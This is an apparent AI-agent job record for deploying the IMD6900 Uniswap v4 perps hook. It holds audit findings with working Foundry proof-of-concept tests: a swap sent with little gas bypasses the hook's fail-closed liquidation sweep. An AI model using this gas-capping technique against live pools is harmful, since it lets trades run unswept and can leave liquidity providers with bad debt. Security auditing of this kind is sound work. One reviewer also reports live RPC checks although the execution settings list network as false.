{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"ea1c84c3-a80c-4bfd-84a7-0a1d7adccd02","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"800776c4bd55cc404c438b452092c706759dd136084b269592fe341441dec517","dependsOn":["audit_imported_code"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"81b7052da6cdca6819abb4b1fb4924e31086633863b272c8ed89d9b24523ab82","skillId":"adapt-contract-project","tools":[]},"key":"adapt_contract_project","kind":"code","role":"implement","skillHash":"81b7052da6cdca6819abb4b1fb4924e31086633863b272c8ed89d9b24523ab82","skillId":"adapt-contract-project","state":"accepted"},{"acceptedSubmissionHash":"5e63b713001d747f46f8225ce32c077194eba6870a309a9d9fea6a2284746c51","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"e333297294256a8b71013bab0dc5ebbff9f4be21d81d0eab8022fc13bb02f2bf","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"fefe0f4c3d8afe552998435372a90ddf305e06042065fe2467af87d28195acbe","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","tools":[]},"key":"audit_imported_code","kind":"code","role":"review","skillHash":"9897597976b0e72440db7ca402d225aea20f3d37205ba53e7df2400ff80f29cc","skillId":"audit-imported-code","state":"accepted"},{"acceptedSubmissionHash":null,"dependsOn":["adapt_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"af3aa01159bbf354f621cafa5c0006f6169e0938a8b015be508b7377dbf165bc","skillId":"audit-judge","state":"failed"},{"acceptedSubmissionHash":"587c82a71f942f1776b06f208785c57cffbb8c12de916888ea3d279e7dee3e61","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"3700fcbedbdbe680a7dca810320169d2df62f05eb02401fee5936d13e6649f63","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"e5ac2cb1fd91a56aa40b16487fc230c48de0d317c8266140331dd3219bb40a85","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"bc8c115c21f4a181f6e6a9aaa9a81c1e1d0f5e10e722532206ece14ccba7394a","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"1bfd8b79c0bef00f92ea581510e2c94badb852f815e9cde74763382fc054d6c1","dependsOn":["adapt_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"73431852439ad3a343f3d2b7db1c43cd363b9f48f9bb51497374a0cf6d50b223","skillId":"write-foundry-tests","state":"accepted"}],"objective":"Deploy IMD6900's in-pool perps hook and its pool on Robinhood Chain, exactly as they are in the repository: one contract, IMD6900PerpsLaunch (src/IMD6900PerpsLaunch.sol), with four constructor arguments in this order: 0x8366a39CC670B4001A1121B8F6A443A643e40951 (Uniswap v4's PoolManager on Robinhood Chain), 10000 (the pool's static fee, hundredths of a bip: 1%), 0x35da9c0303507ddf708e87f2568eddf12c47a059 (owner of the pool and the hook), 0x35da9c0303507ddf708e87f2568eddf12c47a059 (the hook's fee address). Its constructor creates IMD6900PerpPool, mines a CREATE2 salt from its own address until IMD6900PerpHook's address carries exactly the hook's permission flags (Uniswap v4 reads them from the address; nobody can mine for IMD's deployer in advance), creates the hook there, wires the pool to it and hands both to the owner. It calls nothing that existed before it, so it deploys the same on a fresh chain (test_DeploysOnAFreshChain); the whole launch, mining included, fits one transaction (test_FitsOneTransaction); no contract shows CALLCODE, DELEGATECALL or SELFDESTRUCT (test_PassesTheAdmissionScan). Do not change the hook's permissions, its fee handling or the constructor arguments: the flags must stay those IMD6900PerpsLaunch.FLAGS mines for (no return deltas, no dynamic fee, so Uniswap's router quotes the pool automatically). The perps engine is not part of this launch: the owner deploys it after opening the pool and wires it with setPerpEngine. The pool is opened by the owner after the coin launches on Pons (script/Owner.s.sol; the coin is IMD6900 at 0x69005D86d2c1bb1dFE70Df48e27D6aa02D044149, launched by IMD launch #1026), so nothing in this launch names the coin. The owner can always take all of the pool's liquidity back (removeLiquidity; the hook only checks the caller is the pool and the range is full), which is how a future hook replaces this one: keep that property. Everything builds offline (lib/ is vendored; v4-core's PoolManager is used by the tests only); test/RobinhoodFlow.fork.t.sol runs the whole flow on a Robinhood fork when ROBINHOOD_RPC_URL is set and skips otherwise.","parentJobId":null,"planHash":"afcc5a08d01c505858fc949cd7baac2e80c6c739a81780b912812ae2d19f3a6d","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"ea1c84c3-a80c-4bfd-84a7-0a1d7adccd02","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-1231-imd6900perpslaunch"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"51017","feedbackHash":"1187b96e261ae2dde4736ce8af41b38a7b1f151971c74a2e3114fbf4a41c1716","nodeKey":"adapt_contract_project","submissionHash":"800776c4bd55cc404c438b452092c706759dd136084b269592fe341441dec517","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51881","feedbackHash":"418623606166d28b6ebeb8e047efd7de3bf0d42e61a566b52d8811e739ac5b27","nodeKey":"audit_economics","submissionHash":"5e63b713001d747f46f8225ce32c077194eba6870a309a9d9fea6a2284746c51","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51130","feedbackHash":"3252ff0c69ee5618e8f0be388b2aaac39fb65711b5df4358bfb15eef71829b37","nodeKey":"audit_flow","submissionHash":"e333297294256a8b71013bab0dc5ebbff9f4be21d81d0eab8022fc13bb02f2bf","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51234","feedbackHash":"fbab6688b498e00275840a83b60b30fd7c862abdbeac4fc3e3f59503c8b089d9","nodeKey":"audit_imported_code","submissionHash":"fefe0f4c3d8afe552998435372a90ddf305e06042065fe2467af87d28195acbe","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51540","feedbackHash":"48468e2b3925c64642f3729c3a5ff751945d7e664a0f17daf99bbc8ed445d946","nodeKey":"audit_math","submissionHash":"587c82a71f942f1776b06f208785c57cffbb8c12de916888ea3d279e7dee3e61","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51512","feedbackHash":"6f0c83fb301e5981c55392f14cf29b40c5332ac305a33d331cc48e2680c278de","nodeKey":"audit_permissions","submissionHash":"3700fcbedbdbe680a7dca810320169d2df62f05eb02401fee5936d13e6649f63","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"50977","feedbackHash":"cb89f94d16de05f59b4266980742563bd161289213861bac9491f357a3c5c729","nodeKey":"manifest","submissionHash":"bc8c115c21f4a181f6e6a9aaa9a81c1e1d0f5e10e722532206ece14ccba7394a","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51548","feedbackHash":"28a1d3fb35542452925d5ae938b15b3da2987617eb101140d843c646d122d99f","nodeKey":"write_foundry_tests","submissionHash":"1bfd8b79c0bef00f92ea581510e2c94badb852f815e9cde74763382fc054d6c1","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"2cf6b53b5f7bf53c52b2cca5b051a6a9a62a33b19081b88ceb6fa60b28c25d07","state":"blocked","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"357d9e2dc860e8ff24b6abaaa398f82e3bc86a35ac1e02ac320860bdb1fbdbfa","device":"0116c8455d2c62d4","findings":[{"description":"In the low-gas pre-swap branch, _sweep only reverts when openCount() succeeds, returns at least 32 bytes, and reports a nonzero count. A reverting or malformed book response silently permits trading even with sweepFailOpen == false. Consequently a trader can bypass the SweepUnavailable rejection that the same unavailable engine produces with normal gas simply by reducing the transaction gas budget. The hook has not established that there are no positions requiring liquidation. This affects pools after an engine is configured and its book becomes unreadable; the initial engine-free launch is unaffected. Reject unreadable book responses in fail-closed mode, while preserving the documented owner escape and confirmed-empty-book behavior.","line":432,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {IHooks} from \"@uniswap/v4-core/src/interfaces/IHooks.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {Hooks} from \"@uniswap/v4-core/src/libraries/Hooks.sol\";\nimport {CustomRevert} from \"@uniswap/v4-core/src/libraries/CustomRevert.sol\";\n\ncontract BookProofCoin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address who, uint256 amount) external { balanceOf[who] += amount; }\n    function approve(address who, uint256 amount) external returns (bool) {\n        allowance[msg.sender][who] = amount;\n        return true;\n    }\n    function transfer(address who, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[who] += amount;\n        return true;\n    }\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        allowance[from][msg.sender] -= amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\ncontract BookProofEngine {\n    // Models an installed engine that has become unavailable. Neither the sweep nor\n    // the book read provides evidence that trading without liquidations is safe.\n    fallback() external { revert(\"engine unavailable\"); }\n}\n\ncontract BookProofRouter {\n    IPoolManager immutable pm;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function buy(PoolKey calldata key) external {\n        pm.unlock(abi.encode(key));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(pm));\n        PoolKey memory key = abi.decode(data, (PoolKey));\n        BalanceDelta delta = pm.swap(key, SwapParams(true, -0.01 ether, TickMath.MIN_SQRT_PRICE + 1), \"\");\n        pm.settle{value: uint128(-delta.amount0())}();\n        pm.take(key.currency1, address(this), uint128(delta.amount1()));\n        return \"\";\n    }\n    receive() external payable {}\n}\n\ncontract UnreadableBookProof is Test {\n    address constant OWNER = 0x35dA9C0303507ddf708E87F2568EdDf12c47a059;\n\n    function test_UnreadableEngineMustRemainFailClosedAtLowGas() public {\n        IPoolManager pm = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch launch = new IMD6900PerpsLaunch(pm, 10_000, OWNER, OWNER);\n        IMD6900PerpPool pool = launch.pool();\n        IMD6900PerpHook hook = launch.hook();\n        BookProofCoin coin = new BookProofCoin();\n        coin.mint(OWNER, 100 ether);\n        vm.deal(OWNER, 100 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        // No Pons reference is configured; this is an allowed spot-only pool setup.\n        pool.open{value: 100 ether}(address(coin), address(0), uint160(1 << 96), 100 ether);\n        hook.setPerpEngine(address(new BookProofEngine()));\n        vm.stopPrank();\n        assertFalse(hook.sweepFailOpen());\n        BookProofRouter router = new BookProofRouter(pm);\n        vm.deal(address(router), 1 ether);\n        PoolKey memory key = pool.poolKey();\n\n        // Control: with enough gas the exact same trade is correctly rejected.\n        vm.expectRevert(abi.encodeWithSelector(\n            CustomRevert.WrappedError.selector, address(hook), IHooks.beforeSwap.selector,\n            abi.encodeWithSelector(IMD6900PerpHook.SweepUnavailable.selector),\n            abi.encodeWithSelector(Hooks.HookCallFailed.selector)\n        ));\n        router.buy{gas: 2_000_000}(key);\n\n        // Actual: a trader supplies 600k gas, openCount() reverts, the hook silently\n        // continues, and a real v4 swap transfers coins to the trader. Expected: revert.\n        (bool traded,) = address(router).call{gas: 600_000}(abi.encodeCall(router.buy, (key)));\n        emit log_named_uint(\"coins received despite unavailable engine\", coin.balanceOf(address(router)));\n        assertFalse(traded, \"an unreadable book cannot authorize a fail-closed trade\");\n        assertEq(coin.balanceOf(address(router)), 0);\n    }\n}","reproduction":"Run the self-contained proof as test/UnreadableBookProof.t.sol with forge test --match-path test/UnreadableBookProof.t.sol -vvv. It deploys the production launch with a local vendored v4 PoolManager, fee 10000, and the specified owner/fee address; opens a 100 ETH / 100 token pool at sqrtPriceX96 = 2^96; installs an engine whose sweep and openCount calls revert; and leaves sweepFailOpen false. A 0.01 ETH buy forwarded 2,000,000 gas correctly reverts with wrapped SweepUnavailable. The identical buy forwarded 600,000 gas succeeds and transfers 9,899,019,997,020,294 token units to the router. Expected: the second trade must also revert because no successful sweep or readable empty book authorized it. Locally run under test/scratch/UnreadableBookProof.t.sol; failed at assertFalse(traded) with the stated token output.","severity":"medium","title":"Low-gas swaps bypass fail-closed protection when the engine book is unreadable"}],"hash":"1bfd8b79c0bef00f92ea581510e2c94badb852f815e9cde74763382fc054d6c1","nodeId":"d226e1d4-5ff8-4eb5-8d75-a17dd8ef3d11","outcome":"completed","summary":"Added failure-path tests, arithmetic fuzzing, and stateful invariants covering 16,384 random calls.\n\nOffline verification passed: **84 tests passed, 1 fork suite skipped** because no RPC URL was configured. `forge build` passed.\n\nReported one **medium-severity low-gas sweep bypass** in `.imd-findings.json`, including a reproduced, self-contained failing proof.","treeHash":"c40900e6cc6d0aac302e009f6737a3c7171a1d68","usage":{"cachedInputTokens":3312896,"inputTokens":141944,"model":"gpt-6-astra","outputTokens":30201,"runtime":"codex","turns":9,"wallClockMs":1077251}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"8c9c4986ca881107","findings":[{"citation":"resolved","description":"Asymmetry between the two gas branches of _sweep (pre-trade, spec != 0). With gasleft() > 980,000 the hook calls sweepLiquidations and, when the call fails or returns nothing (`!ok || out.length < 32`, lines 422-425), reverts SweepUnavailable unless the owner set sweepFailOpen: fail closed, as the brief requires ('a sweep that cannot finish reverts the trade'). With gasleft() <= 980,000 it instead staticcalls openCount() and reverts only when that call SUCCEEDS and returns a non-zero count. A failed openCount (engine reverting, paused, or an address without code) is silently treated as 'no open positions' and the trade runs with no sweep at all, and sweepFailOpen is never consulted. The swapper chooses the transaction gas limit, so whenever the engine is in a state where its calls revert, anyone trades past the fail-closed guard simply by capping gas at a few hundred thousand (a v4 swap needs ~150k). Positions that the sweep would have closed stay open while the price moves: the bad debt the fail-closed design exists to prevent. The guard is weaker than its effect only on one branch; the fix is to mirror the high-gas branch: `if (!ok || ret.length < 32) { if (!sweepFailOpen) revert SweepUnavailable(); return; }` before decoding.","line":431,"path":"src/IMD6900PerpHook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {IPoolManager} from \"@uniswap/v4-core/src/interfaces/IPoolManager.sol\";\nimport {PoolKey} from \"@uniswap/v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"@uniswap/v4-core/src/types/Currency.sol\";\nimport {BalanceDelta} from \"@uniswap/v4-core/src/types/BalanceDelta.sol\";\nimport {SwapParams} from \"@uniswap/v4-core/src/types/PoolOperation.sol\";\nimport {TickMath} from \"@uniswap/v4-core/src/libraries/TickMath.sol\";\nimport {PoolManager} from \"@uniswap/v4-core/src/PoolManager.sol\";\nimport {IMD6900PerpsLaunch} from \"src/IMD6900PerpsLaunch.sol\";\nimport {IMD6900PerpHook} from \"src/IMD6900PerpHook.sol\";\nimport {IMD6900PerpPool} from \"src/IMD6900PerpPool.sol\";\n\ncontract Coin {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        if (allowance[f][msg.sender] != type(uint256).max) allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\ncontract Curve {\n    address public token;\n    constructor(address t) { token = t; }\n    function getReserves() external pure returns (uint256, uint256) { return (1 ether, 1e27); }\n    function graduated() external pure returns (bool) { return false; }\n}\n\n/// An engine that is down: every call, the sweep and the openCount view alike, reverts.\ncontract BrokenEngine {\n    fallback() external { revert(\"broken\"); }\n}\n\ncontract Trader {\n    IPoolManager immutable pm;\n    PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        if (d.amount0() < 0) pm.settle{value: uint128(-d.amount0())}();\n        else if (d.amount0() > 0) pm.take(key.currency0, address(this), uint128(d.amount0()));\n        if (d.amount1() < 0) { pm.sync(key.currency1); Coin(Currency.unwrap(key.currency1)).transfer(address(pm), uint128(-d.amount1())); pm.settle(); }\n        else if (d.amount1() > 0) pm.take(key.currency1, address(this), uint128(d.amount1()));\n        return abi.encode(d);\n    }\n    receive() external payable {}\n}\n\n/// With a fail-closed (sweepFailOpen == false) hook and an engine that cannot run its sweep, a swap must revert\n/// whatever gas it is sent with. It does with plenty of gas (SweepUnavailable) but goes through when the swap is\n/// sent with little enough gas that the hook takes its low-gas branch, where a reverting openCount() is ignored.\ncontract SweepLowGasFailsOpenTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Trader trader;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new Coin();\n        Curve curve = new Curve(address(coin));\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), uint160(31622) << 96, 2e27); // sqrt(1e9 coin per ETH), as the Pons curve prices it\n        hook.setPerpEngine(address(new BrokenEngine()));\n        vm.stopPrank();\n        assertFalse(hook.sweepFailOpen(), \"fail closed\");\n        trader = new Trader(PM);\n        vm.deal(address(trader), 10 ether);\n    }\n\n    function test_FailClosedEngineBlocksTheSwapWithPlentyOfGas() public {\n        PoolKey memory k = pool.poolKey();\n        vm.expectRevert();\n        trader.swap{gas: 3_000_000}(k, true, -0.001 ether);\n    }\n\n    function test_FailClosedEngineMustAlsoBlockTheSwapWithLittleGas() public {\n        PoolKey memory k = pool.poolKey();\n        uint128 liqBefore = pool.liquidity();\n        uint256 priceBefore = hook.poolPriceX96();\n        // 600k gas: the hook's _sweep sees gasleft() <= SWEEP_GAS_RESERVE + 2 * SWEEP_GAS_MIN and takes the\n        // low-gas branch; openCount() reverts there and the revert is swallowed, so the trade runs unswept.\n        (bool ok,) = address(trader).call{gas: 600_000}(abi.encodeCall(Trader.swap, (k, true, -0.001 ether)));\n        assertFalse(ok, \"a fail-closed hook with an unreachable engine must refuse the trade at any gas\");\n        assertEq(hook.poolPriceX96(), priceBefore, \"the price must not move while the engine is down\");\n        assertEq(pool.liquidity(), liqBefore);\n    }\n}","reproduction":"State: pool opened by the owner; hook.setPerpEngine(E) where E reverts on every call (test/RobinhoodFlow.fork.t.sol's BrokenEngine) or has no code; sweepFailOpen == false (default). Input A: Trader.swap(key, zeroForOne=true, amountSpecified=-0.001 ether) sent with 3,000,000 gas -> reverts (SweepUnavailable wrapped by the PoolManager). Expected for input B: the same swap sent with 600,000 gas also reverts. Actual: it succeeds, poolPriceX96 moves and no sweep ran. Proof test: test/scratch/SweepLowGasFailsOpen.t.sol, test_FailClosedEngineMustAlsoBlockTheSwapWithLittleGas fails on the current tree and passes once the low-gas branch reverts SweepUnavailable (or honours sweepFailOpen) when openCount() fails.","severity":"medium","snippet":"            (bool ok, bytes memory ret) = engine.staticcall(abi.encodeCall(IPerpSweep.openCount, ()));\n            if (ok && ret.length >= 32 && abi.decode(ret, (uint256)) != 0) revert SweepGasStarved();","title":"Fail-closed sweep is bypassed by sending the swap with little gas: the low-gas branch ignores a reverting or codeless engine"},{"citation":"resolved","description":"Asymmetry with renounceFeeAddress (line 229-235), which is the sanctioned way to give the fee share up and redirects it to the launcher. updateFeeAddress has no zero check, and flush() (line 240-247) computes toFeeAddress = 3% whenever feeAddressRenounced is false and sends it with SafeTransferLib.safeTransferETH, which succeeds for address(0). An owner that zeroes the fee address (a common 'disable' idiom, and the setter the brief's timelock will drive) permanently burns 3% of every flush until it notices; anyone can call flush() at any time, so the owner cannot sequence a correction before the burn. Owner-input defect, no third-party exploit; fix: revert on address(0) in updateFeeAddress (or route to the launcher like renounceFeeAddress).","line":222,"path":"src/IMD6900PerpHook.sol","reproduction":"vm.prank(OWNER); hook.updateFeeAddress(address(0)); hook receives 1 ether; anyone calls hook.flush(). Expected: revert, or 1 ether to the launcher. Actual: 0.97 ether to the launcher (pool.addFees) and 0.03 ether to address(0), irrecoverable. Verified in test/scratch/OwnerInputs.t.sol test_ZeroFeeAddressBurnsTheThreePercent.","severity":"low","snippet":"    function updateFeeAddress(address feeAddress_) external onlyOwner {\n        if (feeAddressRenounced) revert FeeAddressIsRenounced();\n        feeAddress = feeAddress_;","title":"updateFeeAddress accepts address(0); the next flush() burns the 3% share instead of routing it to the launcher"},{"citation":"resolved","description":"Trust gap (access x asymmetry): token_ is validated indirectly (the hook's _beforeInitialize checks currency1 == launcher.token() and the PoolManager rejects a zero currency1), but curve_ is written once with no check and is never writable again. The hook's readPonsPriceX96 returns 0 for curve == address(0) or any address that does not answer graduated()/getReserves(), and _checkBand treats 0 as 'no reference', so every swap passes the band. The brief makes the band the perps mark's protection; one wrong constructor-style input by the owner (e.g. running Owner.s.sol open() while L.curve() is still address(0), which is the live state today: L.pons() and L.curve() read 0x0 on Robinhood Chain) opens a pool whose band can never be enabled. The only remedy is removeLiquidity and a new launch. Owner-input defect; minimal fix: require curve_ != address(0) (and optionally that IPonsCurveView(curve_).token() == token_) in open().","line":132,"path":"src/IMD6900PerpPool.sol","reproduction":"vm.prank(OWNER); pool.open{value: 2 ether}(coin, address(0), 31622 << 96, 2e27). Expected: revert. Actual: pool opens, pool.curve() == 0, hook.ponsPriceX96() == 0, hook.deviationBps() == 0, and any swap size passes _checkBand; no function can set curve afterwards. Verified in test/scratch/OwnerInputs.t.sol test_OpenWithZeroCurveLeavesTheBandOffForGood.","severity":"low","snippet":"        token = token_;\n        curve = curve_;","title":"open() accepts any curve address, including address(0), and curve has no setter: a wrong reference disables the Pons band for the life of the pool"},{"citation":"resolved","description":"Both contracts inherit solady Ownable, whose renounceOwnership() sets the owner to address(0) with no second step. The brief's load-bearing property 'the owner can always take all of the pool's liquidity back' holds only while an owner exists: removeLiquidity, setPerpEngine and setHook are onlyOwner and there is no other exit. On the hook, renouncing removes setPerpEngine/setSweepFailOpen, so a broken engine would block trading permanently. Not a bypass (owner-only, intentional in solady), but it is irreversible and a single call; the brief's hand-off to a timelock makes an accidental or compromised call the main risk. Document it, or override renounceOwnership to revert on the pool.","line":106,"path":"src/IMD6900PerpPool.sol","reproduction":"vm.prank(OWNER); pool.renounceOwnership(); then pool.removeLiquidity(pool.liquidity(), OWNER, OWNER) from any address reverts Unauthorized; pool.setPerpEngine(0) likewise. Liquidity is unrecoverable.","severity":"info","snippet":"    function removeLiquidity(uint128 liq, address ethTo, address tokensTo) external onlyOwner nonReentrant {","title":"Trust assumption: renounceOwnership on the pool locks all liquidity forever; on the hook it removes the only escape from a fail-closed engine"},{"citation":"resolved","description":"addFees forwards to the sink with a high-level call, which reverts for an address without code or without a payable addFees()/fallback; hook.flush() then reverts for everyone and stray ETH stays in the hook. Owner-fixable with another setFeeSink, no loss. Owner.s.sol wire() sets the sink to the Pons launcher 0xE0aBb21F15766BE162429f46F494617eB5EF6Ba0, which no interface in the repo declares addFees() on; an eth_call of addFees() with 1 wei to it on Robinhood Chain (chain id 4663) returned success, so that configured sink works. Recorded for the owner's checklist, not as a defect.","line":187,"path":"src/IMD6900PerpPool.sol","reproduction":"vm.prank(OWNER); pool.setFeeSink(address(0xBEEF)) (no code); hook receives 1 ether; hook.flush() reverts; pool.addFees{value: 1}() reverts. Verified in test/scratch/OwnerInputs.t.sol test_FeeSinkWithoutAddFeesBricksFlush.","severity":"info","snippet":"        IFeeSink(sink).addFees{value: msg.value}();","title":"setFeeSink has no code check: a sink that does not implement addFees() makes flush() and addFees() revert until the owner resets it (live Pons launcher verified to accept the call)"}],"hash":"3700fcbedbdbe680a7dca810320169d2df62f05eb02401fee5936d13e6649f63","nodeId":"4cadbda6-1299-4444-b026-8427a25a494a","outcome":"completed","summary":"The review is complete and `.imd-findings.json` holds five findings plus a coverage row for every listed entry point. No tracked file was changed; the hook source I patched to validate the proof was restored and verified byte-identical.\n\n**What I found**\n\n- **Medium, src/IMD6900PerpHook.sol:431.** The pre-trade sweep fails closed only on its high-gas branch. When the swap arrives with under about 980k gas, the hook asks the engine for `openCount()` and treats a reverted or empty answer as \"no positions\", ignoring `sweepFailOpen`. A swapper can therefore trade past a down engine by capping gas. The proof test reverts the same swap at 3M gas and lets it through at 600k gas. It fails on the current tree and passes with the low-gas branch mirroring the high-gas one.\n- **Low, src/IMD6900PerpHook.sol:222.** `updateFeeAddress` accepts address zero, and the next permissionless `flush()` burns the 3% share to it. Reproduced.\n- **Low, src/IMD6900PerpPool.sol:132.** `open()` writes any `curve_`, including zero, and nothing can change it later, so a wrong input disables the Pons band for the pool's whole life. Reproduced. The live launcher's `curve()` currently returns zero, so this is the state the owner script would meet today if run early.\n- **Info.** Solady's one-step `renounceOwnership` locks all liquidity on the pool and removes the hook's escape hatches. And `setFeeSink` has no code check, so a sink without `addFees()` blocks `flush()` until reset.\n\n**What held**\n\nThe rest of the permission model holds as the brief describes. Pool initialization and liquidity changes are restricted to the pool contract, the pool cannot be front-run, `unlockCallback` is reachable only through the pool's own unlock, the launch constructor hands both contracts to the owner argument and retains no role, and the owner's full exit stays possible with `setPerpEngine(0)` on the pool.\n\n**Live checks on Robinhood Chain (chain id 4663, via a public RPC)**\n\nThe PoolManager and the Pons launcher have code, the launcher's owner is the team wallet, it accepts an `addFees()` call with value, and the coin is not launched yet. That resolved the fee-sink lead as not a defect.\n\n**Not reached**\n\nEconomic sandwiching of `compound()` and `addLiquidity()` was reasoned to be unprofitable at a 1% fee each way but not quantified with a test. The perps engine itself is outside this launch and was modeled only by the repo's test 